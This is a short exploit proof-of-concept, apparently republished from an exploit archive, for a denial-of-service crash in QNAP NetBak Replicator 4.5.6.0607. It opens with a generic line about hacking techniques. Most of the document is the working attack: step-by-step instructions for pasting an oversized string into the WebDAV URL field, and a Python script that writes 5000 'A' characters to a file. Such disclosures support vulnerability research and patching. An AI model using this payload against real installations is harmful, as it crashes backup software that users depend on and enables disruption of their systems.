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Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

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# Exploit Title: QNAP NetBak Replicator 4.5.6.0607 Denial of Service (PoC)
# Date: 2018-10-29
# Exploit Author: Yair Rodríguez Aparicio
# Vendor Homepage: https://www.qnap.com/en/
# Software Link: https://www.qnap.com/en/download
# Version: 4.5.6.0607
# Tested on: Windows XP Profesional Español SP3 x86 

# Steps to Produce the Crash:
# 1.- Run python code : python qnap.py
# 2.- Open text.txt and copy content to clipboard
# 3.- Open NetBak Replicator.exe
# 4.- click on Restauración Instantánea
# 5.- Seleccione Origen -> "Ubicacion de red"
# 6.- click on "Dirección URL WebDAV"
# 7.- Paste ClipBoard on "Dirección URL WebDAV"
# 8.- Click "Aceptar".
# 9.- Crashed!
 

 
buffer = "\x41" * 5000
f = open("text.txt", "w")
f.write(buffer)
f.close()